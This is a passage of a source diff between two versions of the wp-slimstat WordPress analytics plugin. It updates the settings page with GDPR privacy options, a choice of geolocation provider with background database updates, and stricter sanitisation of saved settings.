__('\u003Cstrong>GDPR Privacy Protection:\u003C\u002Fstrong> Masks IP addresses before storage (IPv4: 192.168.1.x → 192.168.1.0 \u002F IPv6: last 80 bits removed).\u003Cbr\u002F>\u003Cbr\u002F>Anonymized IPs cannot identify individual users but still provide useful geographic and network data. \u003Cstrong>Recommended\u003C\u002Fstrong> for GDPR compliance when not using IP hashing.', 'wp-slimstat'),\n+            ],\n+            'hash_ip' => [\n+                'title'       => __('Hash IP Addresses', 'wp-slimstat'),\n+                'type'        => 'toggle',\n+                'description' => __('\u003Cstrong>GDPR-Compliant Visitor Counting:\u003C\u002Fstrong> Creates one-way hash from IP + User Agent + daily salt. Hash changes daily, preventing long-term tracking.\u003Cbr\u002F>\u003Cbr\u002F>\u003Cstrong>Benefits:\u003C\u002Fstrong> Count unique visitors without storing real IPs or using cookies. Original IP cannot be recovered from hash. \u003Cstrong>Recommended\u003C\u002Fstrong> for GDPR compliance.', 'wp-slimstat'),\n+            ],\n+            'set_tracker_cookie' => [\n+                'title'       => __('Set Tracking Cookie', 'wp-slimstat'),\n+                'type'        => 'toggle',\n+                'description' => __('\u003Cstrong>PII Warning:\u003C\u002Fstrong> Cookies are Personally Identifiable Information under GDPR. Enabling this option requires user consent.\u003Cbr\u002F>\u003Cbr\u002F>\u003Cstrong>When Disabled:\u003C\u002Fstrong> Cookie-less tracking (more privacy, less accurate return visitor detection)\u003Cbr\u002F>\u003Cstrong>When Enabled:\u003C\u002Fstrong> Sets a cookie to track returning visitors (better accuracy, requires consent)\u003Cbr\u002F>\u003Cbr\u002F>Cookies automatically respect consent settings and use Secure, HttpOnly, and SameSite flags for security.', 'wp-slimstat'),\n             ],\n \n             \u002F\u002F Tracker - Link Tracking\n@@ -165,21 +278,26 @@\n                 'title' => __('Third-party Libraries', 'wp-slimstat'),\n                 'type'  => 'section_header',\n             ],\n-            'enable_maxmind' => [\n-                'title'             => __('GeoIP Database Source', 'wp-slimstat'),\n-                'after_input_field' => ((!empty($_POST['options']['enable_maxmind']) && 'disable' != sanitize_text_field($_POST['options']['enable_maxmind'])) || (empty($_POST['options']['enable_maxmind']) && 'disable' != wp_slimstat::$settings['enable_maxmind'])) ? '\u003Cinput type=\"hidden\" id=\"slimstat-geoip-nonce\" value=\"' . wp_create_nonce('wp_rest') . '\" \u002F>\u003Ca href=\"#\" id=\"slimstat-update-geoip-database\" class=\"button-secondary noslimstat\" style=\"vertical-align: middle\" data-error-message=\"' . __('An error occurred while updating the GeoIP database.', 'wp-slimstat') . '\">' . __('Update Database', 'wp-slimstat') . '\u003C\u002Fa> \u003Ca href=\"#\" id=\"slimstat-check-geoip-database\" class=\"button-secondary noslimstat\" style=\"vertical-align: middle\" data-error-message=\"' . __('An error occurred while updating the GeoIP database.', 'wp-slimstat') . '\">' . __('Check Database', 'wp-slimstat') . '\u003C\u002Fa>' : '',\n-                'type'              => 'select',\n-                'select_values'     => [\n-                    'disable' => __('Disable', 'wp-slimstat'),\n-                    'no'      => __('Use the JsDelivr', 'wp-slimstat'),\n-                    'on'      => __('Use the MaxMind server with your own license key', 'wp-slimstat'),\n-                ],\n-                'description' => __('Choose a service to update the GeoIP database to ensure your geographic information is accurate and up-to-date.', 'wp-slimstat') . '\u003Cbr \u002F>' . __('\u003Cb>Note: \u003C\u002Fb>If the database file is missing, it will be downloaded when you save the settings.', 'wp-slimstat'),\n+\t\t\t'geolocation_provider' => [\n+\t\t\t\t'title'         => __('Geolocation Provider', 'wp-slimstat'),\n+\t\t\t\t'type'          => 'select',\n+\t\t\t\t'select_values' => [\n+\t\t\t\t\t'maxmind'    => __('MaxMind GeoLite2 (recommended)', 'wp-slimstat'),\n+\t\t\t\t\t'dbip'       => __('DB-IP City Lite (free)', 'wp-slimstat'),\n+\t\t\t\t\t'cloudflare' => __('Cloudflare Header', 'wp-slimstat'),\n+\t\t\t\t],\n+                'description' => __('\u003Cstrong>Choose how Slimstat resolves visitor locations:\u003C\u002Fstrong>\u003Cbr \u002F>\u003Cstrong>DB-IP City Lite\u003C\u002Fstrong> – Free, no license required. Slimstat downloads a local database and updates it automatically in the background after you save settings. You can also run the update manually using the button below. Works for arbitrary IPs in reports.\u003Cbr \u002F>\u003Cstrong>MaxMind GeoLite2\u003C\u002Fstrong> – Requires a free MaxMind license key. City vs Country precision affects database size and download time. Updates run in the background after saving; you can also update manually. If PHP Phar is disabled on your server, please upload the .mmdb file manually to wp-content\u002Fuploads\u002Fwp-slimstat\u002F.\u003Cbr \u002F>\u003Cstrong>Cloudflare Header\u003C\u002Fstrong> – No database needed. Slimstat reads the HTTP_CF_IPCOUNTRY header set by Cloudflare for the current request only. It won\\'t resolve arbitrary test IPs (like 8.8.8.8). Make sure \"IP Geolocation\" is enabled in your Cloudflare dashboard and your site is actually proxied through Cloudflare.', 'wp-slimstat'),\n             ],\n             'maxmind_license_key' => [\n                 'title'       => __('MaxMind License Key', 'wp-slimstat'),\n                 'type'        => 'text',\n-                'description' => __('To be able to automatically download and update the MaxMind GeoLite2 database, you must sign up on \u003Ca href=\"https:\u002F\u002Fdev.maxmind.com\u002Fgeoip\u002Fgeoip2\u002Fgeolite2\u002F\" target=\"_blank\">MaxMind GeoLite2\u003C\u002Fa> and create a license key. Then enter your license key in this field. Disable- and re-enable MaxMind Geolocation above to activate the license key. Note: It takes a couple of minutes after you created the license key to get it activated on the MaxMind website.', 'wp-slimstat'),\n+                'description' => __('Enter your MaxMind license key to enable automatic downloads of the GeoLite2 database. The license key should be 16-40 characters containing only letters, numbers, and underscores. Required only if you select MaxMind as the provider. \u003Cstrong>Important:\u003C\u002Fstrong> If the PHP Phar extension is not available on your server, automatic extraction will fail—upload the .mmdb file manually to wp-content\u002Fuploads\u002Fwp-slimstat\u002F.', 'wp-slimstat'),\n+            ],\n+            'geolocation_db_actions' => [\n+                'title'             => __('Geolocation Database', 'wp-slimstat'),\n+                'after_input_field' => '\u003Cinput type=\"hidden\" id=\"slimstat-geoip-nonce\" value=\"' . wp_create_nonce('slimstat_geoip_action') . '\" \u002F>\u003Ca href=\"#\" id=\"slimstat-update-geoip-database\" class=\"button-secondary noslimstat\" style=\"vertical-align: middle\" data-error-message=\"' . __('An error occurred while updating the GeoIP database.', 'wp-slimstat') . '\">' . __('Update Database', 'wp-slimstat') . '\u003C\u002Fa> \u003Ca href=\"#\" id=\"slimstat-check-geoip-database\" class=\"button-secondary noslimstat\" style=\"vertical-align: middle\" data-error-message=\"' . __('An error occurred while updating the GeoIP database.', 'wp-slimstat') . '\">' . __('Check Database', 'wp-slimstat') . '\u003C\u002Fa>',\n+                'type'              => 'plain-text',\n+\t\t\t\t\t'description'       => __('Download or refresh the selected geolocation database. \u003Cstrong>DB-IP\u002FMaxMind only\u003C\u002Fstrong>: \"Update Database\" runs it now; after saving settings, Slimstat also schedules a background update. \"Check Database\" verifies that the file exists and is readable. \u003Cstrong>Cloudflare\u003C\u002Fstrong>: No database is required—the header is used at request time.', 'wp-slimstat'),\n             ],\n             'enable_browscap' => [\n                 'title'       => __('Browscap Library', 'wp-slimstat'),\n@@ -197,7 +315,7 @@\n                 'type'             => 'toggle',\n                 'custom_label_on'  => __('Country', 'wp-slimstat'),\n                 'custom_label_off' => __('City', 'wp-slimstat'),\n-                'description'      => __(\"Slimstat determines your visitors' Country of origin through third-party libraries. This information is available in two precision levels: country and city. By default, Slimstat will install the country precision level. Use this option to switch to the more granular level, if you don't mind its 60 Mb average size.\", 'wp-slimstat'),\n+                'description'      => __('Choose between Country and City precision. City uses a larger database and may take longer to download (and more disk space). Country is smaller and faster. Applies to DB‑IP and MaxMind; Cloudflare always provides country only.', 'wp-slimstat'),\n             ],\n             'session_duration' => [\n                 'title'             => __('Visit Duration', 'wp-slimstat'),\n@@ -210,6 +328,12 @@\n                 'type'        => 'toggle',\n                 'description' => __(\"Reset your visitors' visit duration every time they access a new page within the current visit.\", 'wp-slimstat'),\n             ],\n+\n+            \u002F\u002F Tracker - Performance\n+            'performance_header' => [\n+                'title' => __('Performance', 'wp-slimstat'),\n+                'type'  => 'section_header',\n+            ],\n             'enable_cdn' => [\n                 'title'       => __('Enable CDN', 'wp-slimstat'),\n                 'type'        => 'toggle',\n@@ -236,6 +360,32 @@\n                 'title'  => __('Add the following code to all the non-WordPress pages you would like to track, right before the closing BODY tag. Please make sure to change the protocol of all the URLs to HTTPS, if you external site is using a secure channel.', 'wp-slimstat'),\n                 'markup' => '\u003Cpre style=\"max-width:100%\">&lt;script type=\"text\u002Fjavascript\"&gt;\\n\u002F* &lt;![CDATA[ *\u002F\\nvar SlimStatParams = { ajaxurl: \"' . ((('on' == (wp_slimstat::$settings['ajax_relative_path'] ?? '')) ? admin_url('admin-ajax.php', 'relative') : admin_url('admin-ajax.php'))) . '\" };\\n\u002F* ]]&gt; *\u002F\\n&lt;\u002Fscript&gt;\\n&lt;script type=\"text\u002Fjavascript\" src=\"https:\u002F\u002Fcdn.jsdelivr.net\u002Fwp\u002Fwp-slimstat\u002Ftrunk\u002Fwp-slimstat.min.js\"&gt;&lt;\u002Fscript&gt;\u003C\u002Fpre>',\n             ],\n+\n+            \u002F\u002F Tracker - Third-party Libraries\n+            'third_party_libraries_header' => [\n+                'title' => __('Third-party Libraries', 'wp-slimstat'),\n+                'type'  => 'section_header',\n+            ],\n+            'enable_maxmind' => [\n+                'title'             => __('GeoIP Database Source', 'wp-slimstat'),\n+                'type'              => 'select',\n+                'select_values'     => [\n+                    'disable' => __('Disable', 'wp-slimstat'),\n+                    'no'      => __('Use the JsDelivr', 'wp-slimstat'),\n+                    'on'      => __('Use the MaxMind server with your own license key', 'wp-slimstat'),\n+                ],\n+                'description' => __('Choose a service to update the GeoIP database to ensure your geographic information is accurate and up-to-date.', 'wp-slimstat') . '\u003Cbr \u002F>' . __('\u003Cb>Note: \u003C\u002Fb>If the database file is missing, it will be downloaded when you save the settings.', 'wp-slimstat'),\n+            ],\n+            'maxmind_license_key' => [\n+                'title'       => __('MaxMind License Key', 'wp-slimstat'),\n+                'type'        => 'text',\n+                'description' => __('To be able to automatically download and update the MaxMind GeoLite2 database, you must sign up on \u003Ca href=\"https:\u002F\u002Fdev.maxmind.com\u002Fgeoip\u002Fgeoip2\u002Fgeolite2\u002F\" target=\"_blank\">MaxMind GeoLite2\u003C\u002Fa> and create a license key. Then enter your license key in this field. Disable- and re-enable MaxMind Geolocation above to activate the license key. Note: It takes a couple of minutes after you created the license key to get it activated on the MaxMind website.', 'wp-slimstat'),\n+            ],\n+            'enable_browscap' => [\n+                'title'       => __('Browscap Library', 'wp-slimstat'),\n+                'type'        => 'toggle',\n+                'description' => __(\"We are contributing to the \u003Ca href='https:\u002F\u002Fbrowscap.org\u002F' target='_blank'>Browscap Capabilities Project\u003C\u002Fa>, which we use to decode your visitors' user agent string into browser name and operating system. We use an \u003Ca href='https:\u002F\u002Fgithub.com\u002Fslimstat\u002Fbrowscap-cache' target='_blank'>optimized version of their data structure\u003C\u002Fa>, for improved performance. When enabled, Slimstat uses this library in addition to the built-in heuristic function, to determine your visitors' browser information. Updates are downloaded automatically every week, when available.\", 'wp-slimstat') . (empty(\\SlimStat\\Services\\Browscap::$browscap_local_version) ? '' : ' ' . sprintf(__('You are currently using version %s.', 'wp-slimstat'), '\u003Cstrong>' . \\SlimStat\\Services\\Browscap::$browscap_local_version . '\u003C\u002Fstrong>')),\n+            ],\n         ],\n     ],\n \n@@ -538,6 +688,23 @@\n     6 => [\n         'title' => __('Maintenance', 'wp-slimstat'),\n         'rows'  => [\n+            \u002F\u002F Maintenance - Data Retention\n+            'maintenance_data_retention_header' => [\n+                'title' => __('Data Retention & Auto-Purge', 'wp-slimstat'),\n+                'type'  => 'section_header',\n+            ],\n+            'auto_purge' => [\n+                'title'             => __('Retention Period', 'wp-slimstat'),\n+                'type'              => 'integer',\n+                'after_input_field' => __('days', 'wp-slimstat'),\n+                'description'       => __('\u003Cstrong>GDPR Compliance:\u003C\u002Fstrong> Automatically purge data older than the specified number of days. This process runs twice daily via WordPress cron to keep your database clean and maintain GDPR compliance.\u003Cbr\u002F>\u003Cbr\u002F>\u003Cstrong>Recommended:\u003C\u002Fstrong> \u003Cstrong>420 days (14 months)\u003C\u002Fstrong> - Complies with ePrivacy Directive and most GDPR interpretations. This ensures data is automatically removed after a reasonable retention period.\u003Cbr\u002F>\u003Cstrong>Warning:\u003C\u002Fstrong> Retaining data longer than 14 months may require additional legal justification and a clear Data Processing Agreement (DPA) under GDPR Article 5(1)(e) (Storage Limitation Principle). Failing to comply can result in significant fines.\u003Cbr\u002F>\u003Cbr\u002F>Set to \u003Cstrong>0\u003C\u002Fstrong> to disable automatic purging (\u003Cstrong>strongly discouraged\u003C\u002Fstrong> for GDPR compliance, as unlimited retention requires a very strong and documented legal justification).', 'wp-slimstat'),\n+            ],\n+            'auto_purge_delete' => [\n+                'title'       => __('Archive Mode', 'wp-slimstat'),\n+                'type'        => 'toggle',\n+                'description' => __('\u003Cstrong>How to handle old data:\u003C\u002Fstrong>\u003Cbr\u002F>\u003Cbr\u002F>\u003Cstrong>Enabled (Archive):\u003C\u002Fstrong> Old records are moved to separate archive tables (\u003Ccode>wp_slim_stats_archive\u003C\u002Fcode>, \u003Ccode>wp_slim_events_archive\u003C\u002Fcode>) instead of being permanently deleted. This improves query performance by keeping the main tables smaller, while still allowing you to access historical data if needed. \u003Cstrong>Note:\u003C\u002Fstrong> Archived data still counts as data retention under GDPR requirements.\u003Cbr\u002F>\u003Cbr\u002F>\u003Cstrong>Disabled (Delete):\u003C\u002Fstrong> Old records are permanently deleted from the database. This is the most GDPR-compliant approach and frees up database space immediately. \u003Cstrong>Warning:\u003C\u002Fstrong> Deleted data cannot be recovered.\u003Cbr\u002F>\u003Cbr\u002F>\u003Cstrong>Important:\u003C\u002Fstrong> Archive tables are \u003Cstrong>permanently deleted\u003C\u002Fstrong> when you uninstall SlimStat. Always \u003Cstrong>backup your data\u003C\u002Fstrong> before uninstalling if you need to retain it.', 'wp-slimstat'),\n+            ],\n+\n             \u002F\u002F Maintenance - Troubleshooting\n             'maintenance_troubleshooting_header' => [\n                 'title' => __('Troubleshooting', 'wp-slimstat'),\n@@ -600,6 +767,7 @@\n     ],\n ];\n \n+\n \u002F\u002F Allow third-party tools to add their own settings\n $settings = apply_filters('slimstat_options_on_page', $settings);\n \n@@ -666,40 +834,40 @@\n             }\n         }\n \n-        \u002F\u002F MaxMind Library\n-        if (!empty($_POST['options']['enable_maxmind']) || !empty($_POST['options']['geolocation_country'])) {\n-            $pack          = ('on' == $_POST['options']['geolocation_country']) ? 'country' : 'city';\n-            $enableMaxmind = sanitize_text_field($_POST['options']['enable_maxmind']);\n-            $licenseKey    = empty($_POST['options']['maxmind_license_key']) ? '' : sanitize_text_field($_POST['options']['maxmind_license_key']);\n-\n-            try {\n-                $geographicProvider = new \\SlimStat\\Services\\GeoService();\n-                $geographicProvider->setEnableMaxmind($enableMaxmind);\n-                if ($geographicProvider->isGeoIPEnabled()) {\n-                    $result = $geographicProvider\n-                        ->setPack($pack)\n-                        ->setMaxmindLicense($licenseKey)\n-                        ->download();\n-\n-                    if (false === $result['status']) {\n-                        $save_messages[] = $result['notice'];\n-                    } else {\n-                        $save_messages[] = __('The geolocation database has been installed on your server.', 'wp-slimstat');\n-\n-                        \u002F\u002F Save Settings\n-                        wp_slimstat::$settings['enable_maxmind']      = $enableMaxmind;\n-                        wp_slimstat::$settings['maxmind_license_key'] = $licenseKey;\n+\t\t\u002F\u002F Geolocation settings save (provider-based)\n+\t\tif (isset($_POST['options']['geolocation_country']) || isset($_POST['options']['geolocation_provider']) || isset($_POST['options']['maxmind_license_key'])) {\n+\t\t\t$prevProvider = wp_slimstat::$settings['geolocation_provider'] ?? 'maxmind';\n+\t\t\t$provider     = sanitize_text_field($_POST['options']['geolocation_provider'] ?? $prevProvider);\n+            $precision    = ('on' === ($_POST['options']['geolocation_country'] ?? (wp_slimstat::$settings['geolocation_country'] ?? 'on'))) ? 'country' : 'city';\n+            $license      = sanitize_text_field($_POST['options']['maxmind_license_key'] ?? (wp_slimstat::$settings['maxmind_license_key'] ?? ''));\n+\n+            \u002F\u002F Save settings\n+            wp_slimstat::$settings['geolocation_provider'] = $provider;\n+            wp_slimstat::$settings['geolocation_country']  = 'country' === $precision ? 'on' : 'no';\n+            wp_slimstat::$settings['maxmind_license_key']  = $license;\n+\n+            \u002F\u002F If provider needs a DB, schedule a background update to avoid timeouts during save\n+            if ('cloudflare' !== $provider) {\n+                try {\n+                    \u002F\u002F Pass new settings explicitly since they haven't been saved to wp_slimstat::$settings yet\n+                    $service = new \\SlimStat\\Services\\Geolocation\\GeolocationService($provider, [\n+                        'dbPath'    => \\wp_slimstat::$upload_dir,\n+                        'license'   => $license,\n+                        'precision' => $precision,\n+                    ]);\n+                    $dbExists = file_exists($service->getProvider()->getDbPath());\n+\n+                    if (!$dbExists || $provider !== $prevProvider) {\n+                        \u002F\u002F Schedule a single-run background job shortly after save\n+                        if (!wp_next_scheduled('wp_slimstat_update_geoip_database')) {\n+                            wp_schedule_single_event(time() + 10, 'wp_slimstat_update_geoip_database');\n+                        }\n+                        $save_messages[] = __('The geolocation database update has been scheduled in the background. You can also use the Update Database button below to start it now.', 'wp-slimstat');\n                     }\n-                } else {\n-                    \u002F\u002F Disable geographic database\n-                    wp_slimstat::$settings['enable_maxmind'] = 'disable';\n+                } catch (\\Exception $e) {\n+                    $save_messages[] = $e->getMessage();\n                 }\n-            } catch (\\Exception $e) {\n-                $save_messages[] = $e->getMessage();\n             }\n-\n-            \u002F\u002F Save Settings\n-            wp_slimstat::$settings['geolocation_country'] = sanitize_text_field($_POST['options']['geolocation_country']);\n         }\n \n         \u002F\u002F Browscap Library\n@@ -726,13 +894,21 @@\n         }\n \n         \u002F\u002F All other options\n-        foreach ($_POST['options'] as $a_post_slug => $a_post_value) {\n+        foreach (wp_unslash($_POST['options']) as $a_post_slug => $a_post_value) {\n             if (empty($settings[$current_tab]['rows'][$a_post_slug]) || !empty($settings[$current_tab]['rows'][$a_post_slug]['readonly']) || in_array($settings[$current_tab]['rows'][$a_post_slug]['type'], ['section_header', 'plain-text']) || in_array($a_post_slug, ['enable_maxmind', 'enable_browscap'])) {\n                 continue;\n             }\n \n             if (isset($a_post_value)) {\n-                wp_slimstat::$settings[$a_post_slug] = empty($settings[$current_tab]['rows'][$a_post_slug]['use_code_editor']) ? htmlspecialchars(sanitize_text_field($a_post_value)) : $a_post_value;\n+                if ('rich_text' === $settings[$current_tab]['rows'][$a_post_slug]['type']) {\n+                    \u002F\u002F Rich text editor: use wp_kses_post to sanitize HTML\n+                    wp_slimstat::$settings[$a_post_slug] = wp_kses_post($a_post_value);\n+                } elseif (empty($settings[$current_tab]['rows'][$a_post_slug]['use_code_editor'])) {\n+                    wp_slimstat::$settings[$a_post_slug] = sanitize_text_field($a_post_value);\n+                } else {\n+                    \u002F\u002F Code editor content: strip all tags to prevent XSS\n+                    wp_slimstat::$settings[$a_post_slug] = wp_strip_all_tags($a_post_value);\n+                }\n             }\n \n             \u002F\u002F If the Network Settings add-on is enabled, there might be a switch to decide if this option needs to override what single sites have set\n@@ -748,6 +924,14 @@\n             }\n         }\n \n+        \u002F\u002F Keep legacy banner toggle in sync with the selected consent integration.\n+        $current_consent_integration = wp_slimstat::$settings['consent_integration'] ?? '';\n+        if ('slimstat_banner' === $current_consent_integration) {\n+            wp_slimstat::$settings['use_slimstat_banner'] = 'on';\n+        } else {\n+            wp_slimstat::$settings['use_slimstat_banner'] = 'off';\n+        }\n+\n         \u002F\u002F Allow third-party functions to manipulate the options right before they are saved\n         wp_slimstat::$settings = apply_filters('slimstat_save_options', wp_slimstat::$settings);\n \n@@ -766,6 +950,26 @@\n     sprintf(\"SHOW INDEX FROM %sslim_stats WHERE Key_name = '%sstats_resource_idx'\", $GLOBALS[ 'wpdb' ]->prefix, $GLOBALS[ 'wpdb' ]->prefix)\n );\n \n+$index_names = [\n+    $GLOBALS[ 'wpdb' ]->prefix . 'stats_resource_idx',\n+    $GLOBALS[ 'wpdb' ]->prefix . 'stats_browser_idx',\n+    $GLOBALS[ 'wpdb' ]->prefix . 'stats_searchterms_idx',\n+    $GLOBALS[ 'wpdb' ]->prefix . 'stats_fingerprint_idx',\n+];\n+$missing_indexes = [];\n+foreach ($index_names as $idx) {\n+    $exists = wp_slimstat::$wpdb->get_results(sprintf(\"SHOW INDEX FROM %sslim_stats WHERE Key_name = '%s'\", $GLOBALS[ 'wpdb' ]->prefix, $idx));\n+    if (empty($exists)) {\n+        $missing_indexes[] = $idx;\n+    }\n+}\n+if ([] !== $missing_indexes) {\n+    echo '\u003Cdiv class=\"notice notice-warning\">\u003Cb>' . esc_html__('Performance Notice:', 'wp-slimstat') . '\u003C\u002Fb> ' . sprintf(\n+        esc_html__('The following DB indexes are missing and should be created for optimal performance: %s. Please visit the Slimstat settings or re-activate the plugin to trigger index creation.', 'wp-slimstat'),\n+        '\u003Ccode>' . esc_html(implode(', ', $missing_indexes)) . '\u003C\u002Fcode>'\n+    ) . '\u003C\u002Fdiv>';\n+}\n+\n $tabs_html = '';\n foreach ($settings as $a_tab_id => $a_tab_info) {\n     if (!empty($a_tab_info['rows'])) {\n@@ -776,7 +980,7 @@\n ?>\n \u003Cdiv class=\"backdrop-container\">\n     \u003Cdiv class=\"wrap slimstat-config\">\n-        \u003Ch2>\u003C?php _e('Settings', 'wp-slimstat') ?>\u003C\u002Fh2>\n+        \u003C?php wp_slimstat_admin::get_template('header', ['is_pro' => wp_slimstat::pro_is_installed()]); ?>\n         \u003Cul class=\"nav-tabs\">\n             \u003C?php echo $tabs_html ?>\n         \u003C\u002Ful>\n@@ -824,16 +1028,29 @@\n \t\t\t\t\tid=\"addon_network_settings_' . $a_setting_slug . '\"\n \t\t\t\t\tdata-size=\"mini\" data-handle-width=\"50\" data-on-color=\"warning\" data-on-text=\"Network\" data-off-text=\"Site\">' : '';\n \n-                echo '\u003Ctr' . (0 == $i % 2 ? ' class=\"alternate\"' : '') . '>';\n+                \u002F\u002F Build conditional data attributes\n+                $conditional_attrs = '';\n+                if (!empty($a_setting_info['conditional'])) {\n+                    $cond = $a_setting_info['conditional'];\n+                    $conditional_attrs = ' data-conditional-field=\"' . esc_attr($cond['field']) . '\"';\n+                    if (!empty($cond['type'])) {\n+                        $conditional_attrs .= ' data-conditional-type=\"' . esc_attr($cond['type']) . '\"';\n+                    }\n+                    if (isset($cond['value'])) {\n+                        $conditional_attrs .= ' data-conditional-value=\"' . esc_attr($cond['value']) . '\"';\n+                    }\n+                }\n+\n+                echo '\u003Ctr' . (0 == $i % 2 ? ' class=\"alternate\"' : '') . $conditional_attrs . '>';\n                 switch ($a_setting_info['type']) {\n                     case 'section_header':\n-                        echo '\u003Ctd colspan=\"2\" class=\"slimstat-options-section-header\" id=\"wp-slimstat-' . sanitize_title($a_setting_info['title']) . '\">' . $a_setting_info['title'] . '\u003C\u002Ftd>';\n+                        echo '\u003Ctd colspan=\"2\" class=\"slimstat-options-section-header\"' . $conditional_attrs . ' id=\"wp-slimstat-' . sanitize_title($a_setting_info['title']) . '\">' . $a_setting_info['title'] . '\u003C\u002Ftd>';\n                         break;\n \n                     case 'toggle':\n                         echo '\u003Cth scope=\"row\">\u003Clabel for=\"' . $a_setting_slug . '\">' . $a_setting_info['title'] . '\u003C\u002Flabel>\u003C\u002Fth>\n \t\t\t\t\t\u003Ctd>\n-\t\t\t\t\t\t\u003Cinput type=\"hidden\" value=\"no\" name=\"options[' . $a_setting_slug . ']\" id=\"' . $a_setting_slug . '\">\n+\t\t\t\t\t\t\u003Cinput type=\"hidden\" value=\"no\" name=\"options[' . $a_setting_slug . ']\">\n \t\t\t\t\t\t\u003Cspan class=\"block-element\">\n \t\t\t\t\t\t\t\u003Cinput class=\"slimstat-checkbox-toggle\" type=\"checkbox\"' . $is_readonly . '\n \t\t\t\t\t\t\t\tname=\"options[' . $a_setting_slug . ']\"\n@@ -883,6 +1100,33 @@\n \t\t\t\t\t\u003C\u002Ftd>';\n                         break;\n \n+                    case 'rich_text':\n+                        $editor_content = empty(wp_slimstat::$settings[$a_setting_slug]) ? '' : wp_kses_post(wp_slimstat::$settings[$a_setting_slug]);\n+                        $editor_settings = [\n+                            'textarea_name' => 'options[' . $a_setting_slug . ']',\n+                            'textarea_rows' => 8,\n+                            'media_buttons' => false,\n+                            'teeny' => true,\n+                            'tinymce' => [\n+                                'toolbar1' => 'bold,italic,underline,link,unlink,removeformat',\n+                                'toolbar2' => '',\n+                            ],\n+                        ];\n+                        if (!empty($is_readonly)) {\n+                            $editor_settings['readonly'] = true;\n+                        }\n+                        echo '\n+\t\t\t\t\t\u003Ctd colspan=\"2\">\n+\t\t\t\t\t\t\u003Clabel for=\"' . $a_setting_slug . '\">' . $a_setting_info['title'] . $network_override_checkbox . '\u003C\u002Flabel>\n+\t\t\t\t\t\t\u003Cp class=\"description\">' . $a_setting_info['description'] . '\u003C\u002Fp>\n+\t\t\t\t\t\t\u003Cp>';\n+                        wp_editor($editor_content, $a_setting_slug, $editor_settings);\n+                        echo '\n+\t\t\t\t\t\t\t\u003Cspan class=\"description\">' . $a_setting_info['after_input_field'] . '\u003C\u002Fspan>\n+\t\t\t\t\t\t\u003C\u002Fp>\n+\t\t\t\t\t\u003C\u002Ftd>';\n+                        break;\n+\n                     case 'textarea':\n                         echo '\n \t\t\t\t\t\u003Ctd colspan=\"2\">\n@@ -891,7 +1135,7 @@\n \t\t\t\t\t\t\u003Cp>\n \t\t\t\t\t\t\t\u003Ctextarea class=\"large-text code' . $use_tag_list . '\"' . $is_readonly . $use_code_editor . '\n \t\t\t\t\t\t\t\tid=\"' . $a_setting_slug . '\"\n-\t\t\t\t\t\t\t\trows=\"' . $a_setting_info['rows'] . '\"\n+\t\t\t\t\t\t\t\trows=\"' . ($a_setting_info['rows'] ?? 4) . '\"\n \t\t\t\t\t\t\t\tname=\"options[' . $a_setting_slug . ']\">' . (empty(wp_slimstat::$settings[$a_setting_slug]) ? '' : stripslashes(wp_slimstat::$settings[$a_setting_slug])) . '\u003C\u002Ftextarea>\n \t\t\t\t\t\t\t\u003Cspan class=\"description\">' . $a_setting_info['after_input_field'] . '\u003C\u002Fspan>\n \t\t\t\t\t\t\u003C\u002Fp>\n@@ -925,3 +1169,35 @@\n         \u003C?php endif ?>\n     \u003C\u002Fdiv>\n \u003C\u002Fdiv>\n+\n+\u003C?php\n+\u002F\u002F Detect companion consent plugins to disable unavailable options in UI\n+if (!function_exists('is_plugin_active')) {\n+    include_once ABSPATH . 'wp-admin\u002Fincludes\u002Fplugin.php';\n+}\n+$has_wp_consent_api     = function_exists('is_plugin_active') && is_plugin_active('wp-consent-api\u002Fwp-consent-api.php');\n+\u002F\u002F $has_real_cookie_banner = function_exists('is_plugin_active') && is_plugin_active('real-cookie-banner\u002Findex.php');\n+?>\n+\u003Cscript>\n+(function($){\n+    $(function(){\n+        \u002F\u002F Disable integrations that are not installed\n+        var hasWpConsent = \u003C?php echo $has_wp_consent_api ? 'true' : 'false'; ?>;\n+        \u002F\u002F var hasRCB       = \u003C?php echo isset($has_real_cookie_banner) && $has_real_cookie_banner ? 'true' : 'false'; ?>;\n+        var $ci = $('#consent_integration');\n+        if(!hasWpConsent){\n+            $ci.find('option[value=\"wp_consent_api\"]').prop('disabled', true);\n+            \u002F\u002F If currently selected value is wp_consent_api but plugin is not installed, reset to default\n+            if($ci.val() === 'wp_consent_api') {\n+                $ci.val('slimstat_banner').trigger('change');\n+            }\n+        }\n+        \u002F\u002F if(!hasRCB){ $ci.find('option[value=\"real_cookie_banner\"]').prop('disabled', true); }\n+\n+        \u002F\u002F Initialize conditional fields system (from admin.js)\n+        if (typeof window.SlimStatConditionalFields !== 'undefined') {\n+            window.SlimStatConditionalFields.init();\n+        }\n+    });\n+})(jQuery);\n+\u003C\u002Fscript>\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Findex.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Findex.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fadmin\u002Findex.php\t2025-08-25 08:38:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fadmin\u002Findex.php\t2026-03-08 13:29:08.000000000 +0000\n@@ -1,20 +1,19 @@\n \u003C?php\n \n use SlimStat\\Services\\GeoService;\n-\n+use SlimStat\\Components\\DateRangeHelper;\n+use SlimStat\\Services\\Admin\\Notification\\NotificationFactory;\n class wp_slimstat_admin\n {\n-    public static $screens_info = [];\n-\n-    public static $config_url = '';\n-\n-    public static $current_screen = 'slimview1';\n-\n-    public static $page_location = 'slimstat';\n-\n+    public static $screens_info      = [];\n+    public static $config_url        = '';\n+    public static $current_screen    = 'slimview1';\n+    public static $page_location     = 'slimstat';\n     public static $meta_user_reports = [];\n-\n-    protected static $admin_notice = '';\n+    public static $settings = [];\n+    public static $user_reports = [];\n+    public static $admin_notice    = '';\n+    public static $main_menu_slug = 'slimview1';\n \n     protected static $data_for_column = [\n         'url'   => [],\n@@ -38,9 +37,6 @@\n         \u002F\u002F Action for reset layout\n         add_action('admin_post_slimstat_reset_layout', ['wp_slimstat_admin', 'handle_reset_layout']);\n \n-        \u002F\u002F Load language files\n-        load_plugin_textdomain('wp-slimstat', false, 